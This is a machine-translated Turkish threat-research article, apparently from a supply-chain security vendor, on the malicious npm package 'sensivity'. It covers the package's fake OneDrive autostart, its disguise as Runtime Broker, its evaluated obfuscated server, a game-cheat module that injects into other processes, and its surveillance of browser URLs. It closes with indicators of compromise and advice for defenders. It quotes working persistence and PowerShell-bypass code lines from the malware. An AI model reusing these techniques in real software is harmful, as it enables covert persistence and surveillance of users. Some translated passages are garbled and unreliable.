PairLoop: npm Paketindeki Gizli Uzaktan Kumanda Paneli

PairLoop: Tek Bir npm Paketi, Yetmiş Sürüm ve Gizli Bir Windows Uzaktan Kumanda Paneli

TL; DR

npm paketi hassasiyet Kendisini "Hassasiyet Kontrol Paneli" olarak tanımlıyor. Windows'ta uzaktan kumanda ve gözetim aracı olarak çalışıyor.

Giriş noktası, launcher.jsKendi sürecini Runtime Broker olarak yeniden adlandırır, otomatik başlatma Run-key değerini yazar. OneDriveUpdate Bu, gizli bir VBScript aracılığıyla paketi yeniden başlatır ve PowerShell'i başlatır. -ExecutionPolicy BypassArdından 171 KB'lık gizlenmiş sunucu yükünü 6.87 MB'lık yerel modülle birlikte değerlendirir. sens.node.

TCP 3000 portu üzerinden telefon eşleştirme kontrol paneli görevi görür ve Windows UIAutomation aracılığıyla aktif tarayıcının adres çubuğundaki URL'yi okuyarak önceden tanımlanmış bir YouTube videosunu arar.

Daha önce siyah kutu olarak kalan iki bölüm artık çözümlendi. Gizlenmiş sunucu, server.obf.jsobfuscator.io RC4 dize dizisi şemasını kullanır; kod çözücüsünü çevrimdışı olarak (hiçbir JavaScript çalıştırılmadan) yeniden uygulamak, tek bir harici uç noktayı kurtarır. https://izopi.com/check.php — imzalı lisans yanıtlarını doğrulamak için kullanılan gömülü bir RSA açık anahtarıyla birlikte.

Yerel modül, sens.nodePaketlenmemiş: İçe aktarma tablosu ve gömülü dizeleri, onu uzaktan işlem enjeksiyonu ve bellek okuma/yazma işlemleriyle çalışan, aimbot, ESP (duvar hilesi) ve triggerbot özellikleri sağlayan bir DirectX 11 / Dear ImGui oyun içi kaplama olarak tanımlıyor.

İçindeki dizeler, GTA V / FiveM ile uyumlu araç varlıklarına ve harita konumlarına referans verir. npm paketi, bu yerel modülün dağıtım ve kalıcılık sarmalayıcısıdır.

Belirleyici sinyal teknik değil, operasyoneldir: tek bir anonim yayıncı, bir paketin yaklaşık yetmiş farklı sürümünü piyasaya sürdü. 2.5.0 ile 2.5.69 — birkaç gün boyunca, her biri aynı fırlatma rampasını taşıyarak.

Kurulum yok hooksPaket başlatıldığında yalnızca o anda çalışır.

Saldırı: Nasıl Çalışıyor?

Sensivity on dosya içeriyor. package.json oldukça sade: depo alanı yok, lisans yok, hepsi launcher.js'ye işaret eden bir main ve iki bin takma adı (sensivity, sens) ve node launcher.js'nin bir başlangıç ​​betiği var. Postinstall veya preinstall yok. npm install ile hiçbir şey tetiklenmiyor. Aşağıda açıklanan davranış, kullanıcı paketi başlattığında (bin shim, başlangıç ​​betiği veya require aracılığıyla) çalışır.

Tarball dosyası, başlatıcıyı, gizlenmiş bir sunucuyu, yerel modülü, bir Visual Basic betiğini ve kontrol paneli için public/ web dizinini içerir. launcher.js okunabilir düzenleyicidir; çalışma zamanında önemli olan mantık, yüklediği iki dosyada bulunur - gizlenmiş bir sunucu ve derlenmiş bir yerel modül, her ikisi de aşağıda çözümlenir.

 İşlem maskelemesi ve sahte bir OneDrive güncelleme aracı

launcher.js, çalıştırılmasının başlarında kendi işlem adını iki kez belirler:

   javascript process.title = 'Runtime Broker'; 

Runtime Broker, uygulama izinlerini düzenleyen meşru bir Windows işlemidir (RuntimeBroker.exe). Bir Node işleminin adını onunla eşleşecek şekilde değiştirmek, Görev Yöneticisine hızlı bir bakışın olağandışı bir şey göstermemesi anlamına gelir.

Kalıcılık, doğrudan kayıt defteri API'si yerine PowerShell aracılığıyla yazılır:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

Otomatik başlatma değeri OneDriveUpdate olarak adlandırılmıştır ve doğrudan pakete işaret etmez. Bunun yerine, birlikte gelen OneDrive.Standalone.Updater.vbs dosyasını çalıştıran wscript.exe'ye işaret eder. Bu komut dosyası, node launcher.js dosyasını gizli bir pencerede yeniden başlatır. Hem Çalıştır anahtar adı hem de VBScript dosya adı Microsoft markasını ödünç aldığından, otomatik başlatma girişi rutin bir OneDrive görevi gibi görünür.

Yürütme politikası atlama özelliğine sahip PowerShell

Başlatıcı sürekli olarak PowerShell'e komut gönderiyor. Tarayıcıların kritik olarak işaretlediği hedef, yürütme politikası devre dışı bırakılmış olarak oluşturulan bir .ps1 dosyasının başlatılmasıdır:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

ExecutionPolicy Bypass, bu çağrı için yerel komut dosyası imzalama kontrolünü kaldırır. Oluşturulan komut dosyaları, bir sonraki bölümde açıklanan tarayıcı gözetimi ve pencere algılama işlemlerini gerçekleştirir.

Gizlenmiş sunucu ve yerel modül

Kurulum tamamlandıktan sonra, launcher.js dosyası yüklenir ve gerçek görevini yerine getirir:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

`server.obf.js`, 171 KB'lık `_0x-dizi` gizleme işlemidir; bu, her dizenin ve tanımlayıcının karıştırılmış bir dizideki bir indeksle değiştirildiği ve ardından çalışma zamanında çözümlendiği bir JavaScript desenidir. Şema, obfuscator.io tarafından üretilen RC4 varyantıdır: tek bir kod çözücü fonksiyon, bir dizi girdisini base64 ile çözer ve ardından çağrı başına bir anahtarla RC4 ile şifresini çözer. Bu kod çözücüyü ayrı bir betikte yeniden uygulamak (yalnızca yeniden uygulamayı çıkarılan 821 girdili dize dizisi üzerinde çalıştırmak, asla paketin kendi JavaScript'ini çalıştırmamak), onu temiz bir şekilde çözer. Ortaya çıkan şey mütevazı ama etkilidir.cisive: LICENSE_URL sabitine atanmış bir harici URL, `https://izopi.com/check.php`; gömülü bir RSA `PUBLIC_KEY_PEM`; yerel panel rotaları `/api/kill`, `/api/qr.png`, `/api/trigger`, `/api/url`, `/trigger/off` ve `/trigger/status`; ve `child_process`, `crypto` ve `[Sensivity] sens.node loaded` dizeleri — sonuncusu, başlatıcının `program module loaded` olarak yeniden yazdığı tam günlük satırıdır. Uç nokta bir lisans kontrolüdür: istemci bir tanımlayıcı gönderir (gizlenmiş sunucu bir Discord ID: %s dizesi biçimlendirir) ve RSA anahtarı sunucunun imzalı yanıtını doğrular.

sens.node, 6.87 MB boyutunda derlenmiş yerel bir eklentidir ve paketlenmemiştir; bölüm entropisi 5.6-6.6 arasındadır ve PE içe ve dışa aktarma tabloları bozulmamıştır, bu nedenle yetenekleri doğrudan okunabilir. napi_register_module_v1'i dışa aktarır. standard Node N-API giriş noktası olduğundan, eval sunucusu onu basit bir require komutuyla yükler. İçe aktarma tablosu bunu gösterir. KERNEL32'den OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules ve Process32First/NextW'yi çeker; bunlar başka bir işlemi bulmak, içinde bellek ayırmak ve bu belleği okumak veya yazmak için kullanılan standart kümedir. USER32'den GetAsyncKeyState, GetKeyState, mouse_event ve SetCursorPos'u çeker; d3d11.dll, D3DCOMPILER_43 ve dwmapi'yi ekran üstü kaplama için ve WINHTTP kümesinin tamamını ağ çağrıları için bağlar. Gömülü dizeler, özellik setini belirsizliğe yer vermeden adlandırır: Aimbot'u Etkinleştir, Aimbot FOV, Kutu ESP, İskelet ESP, Tetikleyici Bot, ESP Oluşturucu, Araç ESP, Electron Hile Önleme Sistemi algılandı ve Sevgili ImGui afişi Sevgili ImGui 1.91.3 WIP. Grapeseed Tıp Kliniği ve araç-ESP sözlüğü gibi konum ve varlık dizeleri GTA V / FiveM ile tutarlıdır.

Bu ayrım kasıtlı olarak yapılmıştır: okunabilir launcher.js dosyası yalnızca tarayıcının kolayca okuyabileceği kısımları (kalıcılık, maskeleme, eval çağrısının kendisi) içerirken, gizleme işlemi çalışma zamanının iletişim kurduğu tek harici sunucuyu gizler ve ikili dosya oyun kaplaması ve işlem enjeksiyonu mantığını içerir. Başlatıcı ince, denetlenebilir kabuktur; gizlenmiş sunucu ağ kimliğini gizler; yerel modül ise yüktür. İkili dosyanın içe aktarmalarını ve dizelerini okunmuş olarak tanımlıyoruz; operatörün amacını bunlardan çıkarmıyoruz.

 3000 numaralı portta bir telefon eşleştirme kontrol paneli bulunmaktadır.

Başlatıcı, TCP 3000 portunda yerel bir web sunucusunu yönetir ve onu tekil bir nesne olarak ele alır. Mevcut bir dinleyici olup olmadığını sorgular ve bağlamadan önce onu temizler:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

Panel, http://localhost:3000 adresinden erişilebilir olup, sabit kodlanmış bir LAN yedekleme URL'si http://192.168.1.16:3000'dir. public/ dizini ve panelin davranışı, QR eşleştirme akışıyla tutarlıdır: bir telefon bir kodu tarar ve ana bilgisayara uzaktan bağlanır. Başlatıcıda açık metin olarak harici bir komuta ve kontrol alanı görünmez; ancak yukarıdaki şifre çözme işleminde gösterildiği gibi, şifrelenmiş sunucuda bir tane mevcuttur: izopi.com lisans uç noktası. Panelin kendisi yerel ve LAN kapsamlıdır; tek giden ana bilgisayar bu lisans kontrolüdür.

Bağımsız bir denetleyici/çalışan modeli, süreci canlı tutar. Başlatıcı, SENSIVITY_SUPERVISOR ve SENSIVITY_WORKER ortam bayraklarıyla kendini yeniden başlatır; her alt süreç gizli olarak çalışır, bu nedenle bir süreci öldürmek, onu yeniden başlatmak için bir bekçi bırakır.

Tarayıcı Gözetimi ve YouTube Sinyali

En belirgin davranış tarayıcı izlemesidir. launcher.js, çalışan bir tarayıcının adres çubuğunu okumak için Windows UIAutomation'ı çalıştıran PowerShell betiğini oluşturur:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern, bir kullanıcı arayüzü öğesinin metin içeriğini döndürür. Bir tarayıcının adres çubuğu düzenleme denetimine uygulandığında, tarayıcı uzantısı olmadan, diskteki profile dokunmadan ve API kancası kullanmadan, mağdurun şu anda görüntülediği URL'yi döndürür. Oluşturulan komut dosyası, $browserNames listesini yineleyerek ön planda olan tarayıcının URL'sini veya pencere başlığını çıkarır.

Bu URL, önceden belirlenmiş tek bir hedef üzerinde test edilir:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

Başlatıcı, YouTube'u gösteren bir tarayıcı penceresi için üç saniyelik bir döngüde sorgulama yapar ve oluşturulan PowerShell komutu, bu video kimliğiyle eşleşen bir Get-YouTubeBrowser / Test-TargetYouTubeUrl çifti içerir. Gözlemlenebilir etki iki yönlüdür: aktif tarama URL'si kurbanın ekranından okunur ve sunucunun belirli bir YouTube videosuyla etkileşimi tespit edilir. Mekanizmayı ve hedefi açıklıyoruz; bunlardan bir amaç çıkarmıyoruz.

Adres çubuğundan okunan veri, tarayıcının sensitive_data_enumeration olarak etiketlediği veridir; bu, ağ özellikli bir çalışma ortamına veri sağlayan bir Process::env ve UIAutomation kaynağıdır. Tek başına bakıldığında zararsız görünür ve ancak veri yaşam döngüsü UIAutomation kaynağından gizlenmiş sunucuya kadar izlendiğinde gözetim olarak çözümlenir.

Zaman Çizelgesi ve Sürüm Evrimi

Sensivity tek seferlik bir yükleme değil. Yayıncı hesabında bu tek paketin yaklaşık yetmiş yayınlanmış sürümü bulunuyor ve inceleme penceresi boyunca yenileri gelmeye devam etti. Başlatıcı, 2.5.x serisi boyunca özellik özellik gelişirken, kalıcılığı ve yük yüklemesi sabit kalıyor.

Tarih (UTC) Gözlemlenen versiyonlar Başlatıcı durumu
2026-06-02 2.5.8 - 2.5.46 (25) Temel QR panel başlatıcısı; Çalıştırma tuşu kalıcılığı; gizlenmiş sunucunun değerlendirilmesi.
2026-06-03 2.5.53 - 2.5.61 (6) Aynı parmak izi; konsol izleme gizleme.
2026-06-04 2.5.67, 2.5.68 (2) Sabitlenmiş YouTube etkileşim hedefi ekler. wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) Çeşitli içeriklerde boşlukları dolduran yeniden yayınlama; amir/işçi gözetimi.

İndirilen temsilciler olan 2.5.0, 2.5.36 ve 2.5.69 sürümlerindeki başlatıcıyı incelediğimizde dört katman görüyoruz. En eski sürümler temel QR eşleştirme başlatıcısını içeriyor. 2.5.33'ten itibaren UIAutomation adres çubuğu toplayıcısı ortaya çıkıyor. 2.5.58'den itibaren bir denetleyici yönetim katmanı ekleniyor. 2.5.64'ten itibaren ise ayrılmış denetleyici/çalışan izleme sistemi seti tamamlıyor. Tüm bunlar boyunca dört şey asla değişmiyor: OneDriveUpdate Run anahtarı, OneDrive.Standalone.Updater.vbs dropper, eval'lenmiş server.obf.js ve sens.node yerel modülü.

2026-06-05 dalgası, birkaç gün önce onaylanan sürümlerin altında yer alan düşük sürüm numaralarını (2.5.0'dan 2.5.15'e kadar) yeniden yayınlaması nedeniyle dikkat çekicidir. Bunun sonucu olarak, kayıt defterinde her sürümün aynı başlatıcıyı taşıdığı, ardışık bir 2.5.x satırı oluşur.

Uzlaşma göstergeleri

Aşağıdaki tüm göstergeler doğrudan paket tarball dosyasından okunmuştur. Okunabilir başlatıcı yalnızca loopback ve tek bir özel LAN adresi içerir; tek harici ana bilgisayar adı olan izopi.com, server.obf.js dosyasının çevrimdışı olarak şifresinin çözülmesiyle elde edilmiştir.

Menşei Gösterge notlar
paket npm:sensivity (yaklaşık 70 versiyon, 2.5.0-2.5.69) Tek paket yayıncısı; depo yok; lisanssız.
fileto launcher.js Okunabilir düzenleyici; ana ve ikili hedef.
fileto server.obf.js (≈171 KB) obfuscator.io RC4 dize dizisi yükü, şu yolla yüklendi: eval(fs.readFileSync(...)).
fileto sens.node (≈6.87 MB) PE32+ x86-64 Node N-API eklentisi; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
fileto OneDrive.Standalone.Updater.vbs Gizli yeniden başlatıcı (node launcher.js).
https://izopi.com/check.php Gizlenmiş sunucudan lisans/kimlik doğrulama uç noktası kurtarıldı; gömülü RSA açık anahtarı yanıtları doğruluyor.
Yetenek OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread Uzaktan işlem enjeksiyonu ve bellek okuma/yazma yeteneği.
Yetenek Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP DirectX 11 / ImGui oyun arayüzü, aimbot, ESP ve triggerbot özelliklerini içerir.
Kayıt (uzun süredir Amerika'da belgesi olmadan ikamet eden kişiler için) HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate Otomatik başlatma değeri şu noktaya işaret ediyor: wscript.exe ve VBScript başlatıcısı.
Süreç process.title = 'Runtime Broker' Kendisini meşru Windows Runtime Broker işlemi gibi gösterir.
Davranışsal powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 Oluşturulan PowerShell komut dosyaları için yürütme politikası atlatma yöntemi kullanıldı.
Davranışsal UIAutomation ValuePattern tarayıcı adres çubuğunu okuyun Ön plandaki tarayıcı penceresinin URL'sini okur.
Davranışsal Hedef video kimliği wJWta2lO0Lw3 saniyelik YouTube anketi Sabitlenmiş etkileşim izleme sinyali.
http://localhost:3000, geri çekilmek http://192.168.1.16:3000 QR kodlu eşleştirme kontrol paneli hem yerel ağda hem de LAN üzerinde erişilebilir durumdadır.
çevre SENSIVITY_SUPERVISOR, SENSIVITY_WORKER Bağımsız gözetim süreci koordinasyon işaretleri.

Atıf, Etki ve Savunucular

Paket, belirtilen e-posta adresi doğrulanmamış bir Gmail adresi olan tek bir npm hesabı tarafından yayınlanmaktadır. Hesap, son derece olumsuz bir kayıt defteri itibar puanına sahiptir, yalnızca bu tek paketi sürdürmekte ve yayınlamaktadır ve bağlantılı bir kaynak deposu bulunmamaktadır. E-postanın sahipliğini doğrulamadık ve kampanyayı herhangi bir kişiye değil, yayıncı hesaba atfediyoruz. Başlatıcıda açık metin altyapısı bulunmamaktadır, ancak tek harici sunucu artık bilinmektedir: gizlenmiş sunucu, lisans kontrolü için izopi.com ile iletişime geçmektedir ve yerel modül (tersine çevrilmiş talimatlar yerine içe aktarma tablosundan ve dizelerinden okunan), başka bir işlemin belleğine enjekte edilen ve belleği okuyan bir oyun katmanıdır.

Gözlemlenebilir etki, Sensivity'yi bir kontrol paneli yardımcı programı bekleyerek yükleyen ve çalıştıran Windows kullanıcılarını etkiliyor. Bu sistemlerde paket, OneDrive görevi gibi gizlenmiş otomatik başlatma kalıcılığı oluşturuyor, kendini bir sistem işlemi gibi yeniden adlandırıyor, kullanıcının göz attığı URL'yi okuyor ve makineyi yerel ağ üzerinden uzaktaki bir cihaza bağlayan bir eşleştirme paneli kuruyor. Denetleyici/çalışan izleme mekanizması, tek bir işlem sonlandırmanın onu kaldırmadığı anlamına geliyor; Çalıştır tuşu girişi yeniden başlatmalardan sonra da kalıyor. macOS ve Linux, başlatıcı tarafından hedeflenmiyor; kalıcılık, PowerShell ve UIAutomation yolları yalnızca Windows'a özgü.

Yetmiş sürümlük sürekli güncelleme, dikkat çekmeye değer bir eğilim. Bir paketi birkaç gün içinde onlarca kez yeniden yayınlamak, hatta kaldırılan sürümlerin altındaki sürüm numaralarını geriye dönük olarak eklemek, kaldırmalar arasında kayıt defterinde canlı bir kopyanın kalmasını sağlıyor ve sürüme sabitlenmiş engelleme listelerini engelliyor. Sensivity@2.5.61 için bir engelleme listesi girişi, ertesi gün yeniden yayınlanan sensivity@2.5.3'e karşı hiçbir etki yaratmıyor.

Savunmacılar aşağıdaki hususlara göre hareket edebilirler:

  • Kayıt defteri proxy'si ve CI izin listelerinde paket adı hassasiyetini tamamen engelleyin. Bireysel sürümleri sabitlemek, yeniden yayınlama döngüsüne yenik düşer; kalıcı gösterge addır.
  • Kullanıcı başına belirlenmiş bir yoldaki .vbs dosyasına karşı wscript.exe'yi çalıştıran OneDriveUpdate adlı bir Çalıştırma değeri arayın. Gerçek OneDrive güncelleme aracı bu şekilde kaydedilmemiştir.
  • Process.title'ı Runtime Broker olan bir Node.js işlemi hakkında uyarı. Gerçek broker, Node çalışma zamanı değil, RuntimeBroker.exe'dir.
  • npm install-time komutlarıyla derlenmiş bir .node eklentisi ve ona eşlik eden bir .obf.js dosyasının eval(fs.readFileSync(…)) ile çalıştırılmasını sağlayan paketlerin yüklenmesini işaretler. Bu eşleşme — gizlenmiş metin yükünün yanında yüklenen opak yerel ikili dosya — burada yapısal ipucudur ve herhangi bir dize IOC'sinden bağımsızdır.
  • Yönetilen Windows uç noktalarında, beklenmeyen bir Node işlemi tarafından başlatılan ve 3000 numaralı bağlantı noktasında yerel olarak bağlı herhangi bir dinleyiciyi şüpheli olarak değerlendirin.
  • Geliştirici veya son kullanıcı sunucularından izopi.com'a yapılan giden istekleri engelleyin veya uyarı verin; bu, paketin tek harici uç noktasıdır ve gizlenmiş sunucudan /check.php adresinden erişilir.
  • Paketlenmiş herhangi bir .node eklentisi için, güvenmeden önce içe aktarma tablosunu inceleyin. OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread kombinasyonu, paketin ne yaptığını iddia ettiğine bakılmaksızın uzaktan işlem enjeksiyonudur; burada Direct3D kaplaması ve aimbot/ESP/triggerbot dizelerinin yanında yer almaktadır.

Statik analiz için pipelineBu nedenle, inanç biçimi sürüm değişiklikleri boyunca kalıcıdır: ağ dışı bir kurulum profili, bilinen bir sistem işlem adına atanan bir işlem başlığı, PowerShell aracılığıyla bir Çalıştırma tuşuyla yazma ve diskten okunan bir dosyanın değerlendirilmesi. Bunların hiçbiri, bir sonraki yeniden yayınlamanın değiştirebileceği bir etki alanına, IP adresine veya sürüm numarasına bağlı değildir.

 Referanslar

[npm: hassasiyet] – Burada bahsedilen paket sürüm satırına ait kayıt defteri sayfası; kaldırılma riski bulunmaktadır.

sca-tools-software-composition-analysis-tools
Yazılım risklerinizi önceliklendirin, giderin ve güvence altına alın.
Ücretsiz hesabınızı alın.
Hiçbir kredi kartı gerekmektedir.

Yazılım Geliştirme ve Teslimatınızı Güvence Altına Alın

Xygeni Ürün Paketi ile